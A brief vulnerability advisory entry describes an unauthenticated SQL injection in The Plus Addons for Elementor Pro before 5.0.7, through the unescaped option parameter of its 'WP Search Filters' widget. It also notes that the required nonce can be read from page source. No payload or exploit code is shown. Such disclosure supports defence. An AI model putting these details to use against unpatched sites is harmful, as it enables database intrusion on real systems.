WordPress Plugin Vulnerabilities

The Plus Addons for Elementor Pro < 5.0.7 - Unauthenticated SQL Injection

Description

The "WP Search Filters" widget of the plugin does not sanitise and escape the option parameter before using it in a SQL statement, which could lead to SQL injection

Proof of Concept

The request requires a nonce (created with wp_create_nonce("theplus-searchfilter”)) which can be retrieved from a page where the widget is present, by looking at the source for "security".
